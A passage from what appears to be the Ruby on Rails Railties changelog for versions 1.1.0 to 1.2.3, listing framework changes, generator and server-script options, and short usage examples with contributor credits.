ApplicationController to be reloaded again. Closes #6587. [Nicholas Seckar] - -* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 [jchris] - -* Remove temporary crutch to help ApplicationController be unloaded. Closes #6496. [Nicholas Seckar] - -* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 [Josh Susser] - -* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 [jeffw, Jeremy Kemper] - -* Generated directories are recursively svn added, like mkdir -p. #6416 [NeilW] - -* resource and scaffold_resource generators add a restful route to config/routes.rb [Jeremy Kemper] - -* Revert environment changes for autoload_paths. [Michael Koziarski] - -* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions [Thomas Fuchs] - -* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests [Michael Koziarski] - -* Added option to script/process/spawner of specifying the binding address #5133 [Dee Zsombor] - -* Update environment.rb comments to include config.autoload_paths. Closes #6478 [caio] - -* Update scaffold to use new form_tag block functionality. Closes #6480. [Bob Silva] - -* Plugin generator: check for class collisions. #4833 [vinbarnes@gmail.com] - -* Mailer generator: handle mailers in modules, set mime_version in unit test. [Jeremy Kemper] - -* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Michael Koziarski] - -* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example: - - config.plugins = %w[ routing_navigator simply_helpful ] - -* Clean up html on included error pages. [Tim Lucas] - -* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [David Heinemeier Hansson] - -* Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs] - -* PostgreSQL: db:test:purge closes open database connections first. #6236 [alex] - -* Fixed test:uncommitted on Windows (backslash issue) #4999 [paul@paulbutcher.com] - -* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [Bob Silva] - -* Fixed rename_table on SQLite tables with indexes defined #5942 [brandon@opensoul.org] - -* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [David Heinemeier Hansson] - -* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples: - - ./script/generate model post title:string created_on:date body:text published:boolean - -* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [David Heinemeier Hansson] - -* script/runner can run files, pass on arguments, and be used as a shebang. #6286 [Tuxie, dlpond] - #!/usr/bin/env /path/to/my/app/script/runner - # Example: just start using your models as if you are in script/console - Product.find(:all).each { |product| product.check_inventory } - -* Look for rake tasks in plugin subdirs. #6259 [obrie] - -* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [David Heinemeier Hansson] - -* Updated prototype.js to 1.5.0_rc1 with latest fixes. [Rick Olson] - - - XPATH support - - Make Form.getElements() return elements in the correct order - - fix broken Form.serialize return - -* session_migration generator adds an index on updated_at. #6207 [grg] - -* script/server creates the tmp/pids directory. #6204 [jonathan] - -* Fix script/console --sandbox for internal transactions changes. #5738 [Chris McGrath, charles.gerungan@gmail.com] - -* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As -documented in initializer.rb, the workaround is: - - config.autoload_paths += Dir[RAILS_ROOT + '/app/models/*/'] - -References #6031. [Nicholas Seckar] - -* Update to script.aculo.us 1.6.3 [Thomas Fuchs] - -* Update to Prototype 1.5.0_rc1 [sam] - -* Formally Deprecate the old rake tasks. [Michael Koziarski] - -* Thoroughly test the FCGI dispatcher. #5970 [Kevin Clark] - -* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. [Rick Olson] - -* Tighten rescue clauses. #5985 [james@grayproductions.net] - -* Cleaning up tests. [Kevin Clark, Jeremy Kemper] - -* Add Dependencies.load_once_paths. [Nicholas Seckar] - -* Updated to script.aculo.us 1.6.2 [Thomas Fuchs] - -* Assign Routing.controller_paths; fix script/about and rails info controller. [Nicholas Seckar] - -* Don't warn dispatcher of Reloadable deprecations. [Nicholas Seckar] - -* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base [Rick Olson] - - ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed. - ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback. - -* Add missing mock directories from the autoload_paths configuration. [Rick Olson] - -* Nested controller scaffolding also nests the generated layout. [iain d broadfoot] - -* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. [Nicholas Seckar] - -* Add autoload_paths support to Initializer. [Nicholas Seckar] - -* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. [Rick Olson] - -* Clarify usage of script/plugin source. Closes #5344. [James Adam] - -* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. [Nicholas Seckar] - -* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. [Rick Olson] - -* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 [mats@imediatec.co.uk] - -* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 [Shugo Maeda] - -* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. [Rick Olson] - -* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. [Jamis Buck] - -* Fix script/plugin about so it uses about.yml and not meta.yml. [James Adam] - -* Dispatcher processes rescued actions with the same controller that processed the request. #4625 [sd@notso.net] - -* rails -d frontbase to create a new project with a frontbase database.yml. #4945 [mlaster@metavillage.com] - -* Ensure the logger is initialized. #5629 [mike@clarkware.com] - -* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples: - - spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available - spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI - spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel - spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available - spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds - - Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster. - -* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 [evan@protest.net] - -* db:test:clone should remove existing tables before reloading the schema. #5607 [sveit@tradeharbor.com] - -* Fixed migration generation for class names like ACLController #5197 [brad@madriska.com] - -* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples: - - irb(#<TopController:0x40822a68>):002:0> show_source_list - 0001 class TopController < ApplicationController - 0002 def show - 0003-> breakpoint - 0004 end - 0005 - 0006 def index - 0007 end - 0008 - => "/path/to/rails/root/app/controllers/top_controller.rb" - - irb(#<TopController:0x40822a68>):004:0> show_call_stack 3 - vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint' - vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint' - app/controllers/top_controller.rb:3:in `show' - => "/path/to/rails/root/app/controllers/top_controller.rb:3" - -* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 [nils@alumni.rice.edu] - -* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 [mike@clarkware.com] - -* Don't assume Active Record is available. #5497 [bob@sporkmonger.com] - -* Mongrel: script/server works on Win32. #5499 [jeremydurham@gmail.com] - -* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [Nick Sieger] - -* Mongrel support for script/server. #5475 [jeremydurham@gmail.com] - -* Fix script/plugin so it doesn't barf on invalid URLs [Rick Olson] - -* Fix plugin install bug at dir with space. (closes #5359) [Yoshimasa NIWA] - -* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. [Rick Olson] - -* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 [takiuchi@drecom.co.jp] - -* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 [elliot@townx.org] - -* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. [Jamis Buck] - -* Make "script/plugin install" work with svn+ssh URLs. [Sam Stephenson] - -* Added lib/ to the directories that will get application docs generated [David Heinemeier Hansson] - -* Add observer generator. Closes #5167. [François Beausoleil] - -* Session migration generator obeys pluralize_table_names. #5145 [James Adam] - -* rake test:recent understands subdirectories. #2925 [jerrett@bravenet.com] - -* The app generator detects the XAMPP package's MySQL socket location. #3832 [elliot@townx.org] - -* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 [rcoder, rails-bug@owl.me.uk] - -* Distinguish the spawners for different processes [David Heinemeier Hansson] - -* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [David Heinemeier Hansson] - -* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) [Julian Tarkhanov] - -* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.] - -* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [David Heinemeier Hansson] - -* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [David Heinemeier Hansson] - - -*1.2.3* (March 12th, 2007) - -* Ruby 1.8.6 compatibility - -* Windows: include MinGW in RUBY_PLATFORM check. #2982 [okkez000@gmail.com, Kaspar Schiess] - -* Stop swallowing errors during rake test [Michael Koziarski] - - -*1.2.2* (February 5th, 2007) - -* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ [Chad Fowler] - -* Require the dispatcher for Rails::Configuration#to_prepare. [Rick Olson] - - -*1.2.1* (January 16th, 2007) - -* Updated to Active Record 1.15.1, Action Pack 1.13.1, Action Mailer 1.3.1, Action Web Service 1.2.1 - - -*1.2.0* (January 16th, 2007) - -* Update to Prototype 1.5.0. [Sam Stephenson] - -* Generator: use destination path for diff tempfiles. #7015 [alfeld] - -* Fixed that webrick would strip leading newlines and hang connection #4156 [psross] - -* Ensure plugins are in the Dependencies.load_once_paths collection by default. [Rick Olson] - If you really want your plugins to reload, add this to the very top of init.rb: - - Dependencies.load_once_paths.delete(lib_path) - -* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 [fearoffish] - -* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 [Rick Olson] - -* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. [James Adam] - -* Don't generate a components directory in new Rails apps. [Jeremy Kemper] - -* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [David Heinemeier Hansson] - -* Deprecated the name route "root" as it'll be used as a shortcut for map.connect '' in Rails 2.0 [David Heinemeier Hansson] - -* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [David Heinemeier Hansson] - -* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. [Nicholas Seckar] - -* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [David Heinemeier Hansson] - -* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [David Heinemeier Hansson] - -* Update to Prototype and script.aculo.us [5579]. [Sam Stephenson, Thomas Fuchs] - -* Made script/server work with -e and -d when using Mongrel [David Heinemeier Hansson] - -* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Lütke] - -* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 [fearoffish] - -* Add grep-based fallback to reaper, to work in pidless setups [Jamis Buck] - -* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. [Jeremy Kemper] - -* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. [Nicholas Seckar] - -* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 [jchris] - -* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 [Josh Susser] - -* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 [jeffw, Jeremy Kemper] - -* Generated directories are recursively svn added, like mkdir -p. #6416 [NeilW] - -* resource and scaffold_resource generators add a restful route to config/routes.rb [Jeremy Kemper] - -* Revert environment changes for autoload_paths. [Michael Koziarski] - -* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests [Michael Koziarski] - -* Added option to script/process/spawner of specifying the binding address #5133 [Dee Zsombor] - -* Update environment.rb comments to include config.autoload_paths. Closes #6478 [caio] - -* Update scaffold to use new form_tag block functionality. Closes #6480. [Bob Silva] - -* Plugin generator: check for class collisions. #4833 [vinbarnes@gmail.com] - -* Mailer generator: handle mailers in modules, set mime_version in unit test. [Jeremy Kemper] - -* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Michael Koziarski] - -* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example: - - config.plugins = %w[ routing_navigator simply_helpful ] - -* Clean up html on included error pages. [Tim Lucas] - -* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [David Heinemeier Hansson] - -* Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs] - -* PostgreSQL: db:test:purge closes open database connections first. #6236 [alex] - -* Fixed test:uncommitted on Windows (backslash issue) #4999 [paul@paulbutcher.com] - -* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [Bob Silva] - -* Fixed rename_table on SQLite tables with indexes defined #5942 [brandon@opensoul.org] - -* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [David Heinemeier Hansson] - -* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples: - - ./script/generate model post title:string created_on:date body:text published:boolean - -* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [David Heinemeier Hansson] - -* script/runner can run files, pass on arguments, and be used as a shebang. #6286 [Tuxie, dlpond] - #!/usr/bin/env /path/to/my/app/script/runner - # Example: just start using your models as if you are in script/console - Product.find(:all).each { |product| product.check_inventory } - -* Look for rake tasks in plugin subdirs. #6259 [obrie] - -* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [David Heinemeier Hansson] - -* session_migration generator adds an index on updated_at. #6207 [grg] - -* script/server creates the tmp/pids directory. #6204 [jonathan] - -* Fix script/console --sandbox for internal transactions changes. #5738 [Chris McGrath, charles.gerungan@gmail.com] - -* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As -documented in initializer.rb, the workaround is: - - config.autoload_paths += Dir[RAILS_ROOT + '/app/models/*/'] - -References #6031. [Nicholas Seckar] - -* Update to script.aculo.us 1.6.3 [Thomas Fuchs] - -* Formally Deprecate the old rake tasks. [Michael Koziarski] - -* Thoroughly test the FCGI dispatcher. #5970 [Kevin Clark] - -* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. [Rick Olson] - -* Tighten rescue clauses. #5985 [james@grayproductions.net] - -* Cleaning up tests. [Kevin Clark, Jeremy Kemper] - -* Add Dependencies.load_once_paths. [Nicholas Seckar] - -* Assign Routing.controller_paths; fix script/about and rails info controller. [Nicholas Seckar] - -* Don't warn dispatcher of Reloadable deprecations. [Nicholas Seckar] - -* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base [Rick Olson] - - ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed. - ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback. - -* Add missing mock directories from the autoload_paths configuration. [Rick Olson] - -* Nested controller scaffolding also nests the generated layout. [iain d broadfoot] - -* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. [Nicholas Seckar] - -* Add autoload_paths support to Initializer. [Nicholas Seckar] - -* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. [Rick Olson] - -* Clarify usage of script/plugin source. Closes #5344. [James Adam] - -* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. [Nicholas Seckar] - -* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. [Rick Olson] - -* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 [mats@imediatec.co.uk] - -* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 [Shugo Maeda] - -* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. [Rick Olson] - -* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. [Jamis Buck] - -* Fix script/plugin about so it uses about.yml and not meta.yml. [James Adam] - -* Dispatcher processes rescued actions with the same controller that processed the request. #4625 [sd@notso.net] - -* rails -d frontbase to create a new project with a frontbase database.yml. #4945 [mlaster@metavillage.com] - -* Ensure the logger is initialized. #5629 [mike@clarkware.com] - -* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples: - - spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available - spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI - spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel - spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available - spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds - - Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster. - -* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 [evan@protest.net] - -* db:test:clone should remove existing tables before reloading the schema. #5607 [sveit@tradeharbor.com] - -* Fixed migration generation for class names like ACLController #5197 [brad@madriska.com] - -* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples: - - irb(#<TopController:0x40822a68>):002:0> show_source_list - 0001 class TopController < ApplicationController - 0002 def show - 0003-> breakpoint - 0004 end - 0005 - 0006 def index - 0007 end - 0008 - => "/path/to/rails/root/app/controllers/top_controller.rb" - - irb(#<TopController:0x40822a68>):004:0> show_call_stack 3 - vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint' - vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint' - app/controllers/top_controller.rb:3:in `show' - => "/path/to/rails/root/app/controllers/top_controller.rb:3" - -* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 [nils@alumni.rice.edu] - -* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 [mike@clarkware.com] - -* Don't assume Active Record is available. #5497 [bob@sporkmonger.com] - -* Mongrel: script/server works on Win32. #5499 [jeremydurham@gmail.com] - -* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [Nick Sieger] - -* Mongrel support for script/server. #5475 [jeremydurham@gmail.com] - -* Fix script/plugin so it doesn't barf on invalid URLs [Rick Olson] - -* Fix plugin install bug at dir with space. (closes #5359) [Yoshimasa NIWA] - -* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. [Rick Olson] - -* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 [takiuchi@drecom.co.jp] - -* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 [elliot@townx.org] - -* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. [Jamis Buck] - -* Make "script/plugin install" work with svn+ssh URLs. [Sam Stephenson] - -* Added lib/ to the directories that will get application docs generated [David Heinemeier Hansson] - -* Add observer generator. Closes #5167. [François Beausoleil] - -* Session migration generator obeys pluralize_table_names. #5145 [James Adam] - -* rake test:recent understands subdirectories. #2925 [jerrett@bravenet.com] - -* The app generator detects the XAMPP package's MySQL socket location. #3832 [elliot@townx.org] - -* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 [rcoder, rails-bug@owl.me.uk] - -* Distinguish the spawners for different processes [David Heinemeier Hansson] - -* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [David Heinemeier Hansson] - -* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) [Julian Tarkhanov] - -* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.] - -* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [David Heinemeier Hansson] - -* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [David Heinemeier Hansson] - - -*1.1.6* (August 10th, 2006) - -* Additional security patch - - -*1.1.5* (August 8th, 2006) - -* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. #4857 [Alisdair McDiarmid] - -* Change the scaffolding layout to use yield rather than @content_for_layout. [Marcel Molina Jr.] - -* Includes critical security patch - - -*1.1.4* (June 29th, 2006) - -* Remove use of opts.on { |options[:name] } style hash assignment. References #4440. [headius@headius.com] - -* Updated to Action Pack 1.12.3, ActionWebService 1.1.4, ActionMailer 1.2.3 - - -*1.1.3* (June 27th, 2006) - -* Updated to Active Record 1.14.3, Action Pack 1.12.2, ActionWebService 1.1.3, ActionMailer 1.2.2 - - -*1.1.2* (April 9th, 2006) - -* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. Closes #4857. [Alisdair McDiarmid] - -* Change the scaffolding layout to use yield rather than @content_for_layout. [Marcel Molina Jr.] - -* Added rake rails:update:configs to update config/boot.rb from the latest (also included in rake rails:update) [David Heinemeier Hansson] - -* Fixed that boot.rb would set RAILS_GEM_VERSION twice, not respect an uncommented RAILS_GEM_VERSION line, and not use require_gem [David Heinemeier Hansson] - - -*1.1.1* (April 6th, 2006) - -* Enhances plugin#discover allowing it to discover svn:// like URIs (closes #4565) [ruben.nine@gmail.com] - -* Update to Prototype 1.5.0_rc0 [Sam Stephenson] - -* Fixed that the -r/--ruby path option of the rails command was not being respected #4549 [ryan.raaum@gmail.com] - -* Added that Dispatcher exceptions should not be shown to the user unless a default log has not been configured. Instead show public/500.html [David Heinemeier Hansson] - -* Fixed that rake clone_structure_to_test should quit on pgsql if the dump is unsuccesful #4585 [augustz@augustz.com] - -* Fixed that rails --version should have the return code of 0 (success) #4560 [blair@orcaware.com] - -* Install alias so Rails::InfoController is accessible at /rails_info. Closes #4546. [Nicholas Seckar] - -* Fixed that spawner should daemonize if running in repeat mode [David Heinemeier Hansson] - -* Added TAG option for rake rails:freeze:edge, so you can say rake rails:freeze:edge TAG=rel_1-1-0 to lock to the 1.1.0 release [David Heinemeier Hansson] - -* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us [Sam Stephenson, Thomas Fuchs] - -* Use --simple-prompt instead of --prompt-mode simple for console compatibility with Windows/Ruby 1.8.2 #4532 [starr@starrnhorne.com] - -* Make Rails::VERSION implicitly loadable #4491. [Nicholas Seckar] - -* Fixed rake rails:freeze:gems #4518 [benji@silverinsanity.com] - -* Added -f/--freeze option to rails command for freezing the application to the Rails version it was generated with [David Heinemeier Hansson] - -* Added gem binding of apps generated through the rails command to the gems of they were generated with [Nicholas Seckar] - -* Added expiration settings for JavaScript, CSS, HTML, and images to default lighttpd.conf [David Heinemeier Hansson] - -* Added gzip compression for JavaScript, CSS, and HTML to default lighttpd.conf [David Heinemeier Hansson] - -* Avoid passing escapeHTML non-string in Rails' info controller [Nicholas Seckar] - - -*1.1.0* (March 27th, 2006) - -* Allow db:fixtures:load to load a subset of the applications fixtures. [Chad Fowler] - - ex. - - rake db:fixtures:load FIXTURES=customers,plans - -* Update to Prototype 1.5.0_pre1 [Sam Stephenson] - -* Update to script.aculo.us 1.6 [Thomas Fuchs] - -* Add an integration_test generator [Jamis Buck] - -* Make all ActionView helpers available in the console from the helper method for debugging purposes. n.b.: Only an 80% solution. Some stuff won't work, most will. [Marcel Molina Jr.] - - ex. - - >> puts helper.options_for_select([%w(a 1), %w(b 2), %w(c 3)]) - <option value="1">a</option> - <option value="2">b</option> - <option value="3">c</option> - => nil - -* Replaced old session rake tasks with db:sessions:create to generate a migration, and db:sessions:clear to remove sessions. [Rick Olson] - -* Reject Ruby 1.8.3 when loading Rails; extract version checking code. [Chad Fowler] - -* Remove explicit loading of RailsInfo and RailsInfoController. [Nicholas Seckar] - -* Move RailsInfo and RailsInfoController to Rails::Info and Rails::InfoController. [Nicholas Seckar] - -* Extend load path with Railties' builtin directory to make adding support code easy. [Nicholas Seckar] - -* Fix the rails_info controller by explicitly loading it, and marking it as not reloadable. [Nicholas Seckar] - -* Fixed rails:freeze:gems for Windows #3274 [paul@paulbutcher.com] - -* Added 'port open?' check to the spawner when running in repeat mode so we don't needlessly boot the dispatcher if the port is already in use anyway #4089 [guy.naor@famundo.com] - -* Add verification to generated scaffolds, don't allow get for unsafe actions [Michael Koziarski] - -* Don't replace application.js in public/javascripts if it already exists [Cody Fauser] - -* Change test:uncommitted to delay execution of `svn status` by using internal Rake API's. [Nicholas Seckar] - -* Use require_library_or_gem to load rake in commands/server.rb. Closes #4205. [rob.rasmussen@gmail.com] - -* Use the Rake API instead of shelling out to create the tmp directory in commands/server.rb. [Chad Fowler] - -* Added a backtrace to the evil WSOD (White Screen of Death). Closes #4073. TODO: Clearer exceptions [Rick Olson] - -* Added tracking of database and framework versions in script/about #4088 [charles.gerungan@gmail.com/Rick Olson] - -* Added public/javascripts/application.js as a sample since it'll automatically be included in javascript_include_tag :defaults [David Heinemeier Hansson] - -* Added socket cleanup for lighttpd, both before and after [David Heinemeier Hansson] - -* Added automatic creation of tmp/ when running script/server [David Heinemeier Hansson] - -* Added silence_stream that'll work on both STDERR or STDOUT or any other stream and deprecated silence_stderr in the process [David Heinemeier Hansson] - -* Added reload! method to script/console to reload all models and others that include Reloadable without quitting the console #4056 [esad@esse.at] - -* Added that rake rails:freeze:edge will now just export all the contents of the frameworks instead of just lib, so stuff like rails:update:scripts, rails:update:javascripts, and script/server on lighttpd still just works #4047 [David Heinemeier Hansson] - -* Added fix for upload problems with lighttpd from Safari/IE to config/lighttpd.conf #3999 [Thijs van der Vossen] - -* Added test:uncommitted to test changes since last checkin to Subversion #4035 [technomancy@gmail.com] - -* Help script/about print the correct svn revision when in a non-English locale. #4026 [babie7a0@ybb.ne.jp] - -* Add 'app' accessor to script/console as an instance of Integration::Session [Jamis Buck] - -* Generator::Base#usage takes an optional message argument which defaults to Generator::Base#usage_message. [Jeremy Kemper] - -* Remove the extraneous AR::Base.threaded_connections setting from the webrick server. [Jeremy Kemper] - -* Add integration test support to app generation and testing [Jamis Buck] - -* Added namespaces to all tasks, so for example load_fixtures is now db:fixtures:load. All the old task names are still valid, they just point to the new namespaced names. "rake -T" will only show the namespaced ones, though [David Heinemeier Hansson] - -* CHANGED DEFAULT: ActiveRecord::Base.schema_format is now :ruby by default instead of :sql. This means that we'll assume you want to live in the world of db/schema.rb where the grass is green and the girls are pretty. If your schema contains un-dumpable elements, such as constraints or database-specific column types, you just got an invitation to either 1) patch the dumper to include foreign key support, 2) stop being db specific, or 3) just change the default in config/environment.rb to config.active_record.schema_format = :sql -- we even include an example for that on new Rails skeletons now. Brought to you by the federation of opinionated framework builders! [David Heinemeier Hansson] - -* Added -r/--repeat option to script/process/spawner that offers the same loop protection as the spinner did. This deprecates the script/process/spinner, so it's no longer included in the default Rails skeleton, but still available for backwards compatibility #3461 [ror@andreas-s.net] - -* Added collision option to template generation in generators #3329 [anna@wota.jp]. Examples: - - m.template "stuff.config" , "config/stuff.config" , :collision => :skip - m.template "auto-stamping", "config/generator.log", :collision => :force - -* Added more information to script/plugin's doings to ease debugging #3755 [Rick Olson] - -* Changed the default configuration for lighttpd to use tmp/sockets instead of log/ for the FastCGI sockets [David Heinemeier Hansson] - -* Added a default configuration of the FileStore for fragment caching if tmp/cache is available, which makes action/fragment caching ready to use out of the box with no additional configuration [David Heinemeier Hansson] - -* Changed the default session configuration to place sessions in tmp/sessions, if that directory is available, instead of /tmp (this essentially means a goodbye to 9/10 White Screen of Death errors and should have web hosting firms around the world cheering) [David Heinemeier Hansson] - -* Added tmp/sessions, tmp/cache, and tmp/sockets as default directories in the Rails skeleton [David Heinemeier Hansson] - -* Added that script/generate model will now automatically create a migration file for the model created. This can be turned off by calling the generator with --skip-migration [David Heinemeier Hansson] - -* Added -d/--database option to the rails command, so you can do "rails --database=sqlite2 myapp" to start a new application preconfigured to use SQLite2 as the database. Removed the configuration examples from SQLite and PostgreSQL from the default MySQL configuration [David Heinemeier Hansson] - -* Allow script/server -c /path/to/lighttpd.conf [Jeremy Kemper] - -* Remove hardcoded path to reaper script in script/server [Jeremy Kemper] - -* Update script.aculo.us to V1.5.3 [Thomas Fuchs] - -* Added SIGTRAP signal handler to RailsFCGIHandler that'll force the process into a breakpoint after the next request. This breakpoint can then be caught with script/breakpointer and give you access to the Ruby image inside that process. Useful for debugging memory leaks among other things [David Heinemeier Hansson] - -* Changed default lighttpd.conf to use CWD from lighttpd 1.4.10 that allows the same configuration to be used for both detach and not. Also ensured that auto-repeaping of FCGIs only happens when lighttpd is not detached. [David Heinemeier Hansson] - -* Added Configuration#after_initialize for registering a block which gets called after the framework is fully initialized. Useful for things like per-environment configuration of plugins. [Michael Koziarski] - -* Added check for RAILS_FRAMEWORK_ROOT constant that allows the Rails framework to be found in a different place than vendor/rails. Should be set in boot.rb. [David Heinemeier Hansson] - -* Fixed that static requests could unlock the mutex guarding dynamic requests in the WEBrick servlet #3433 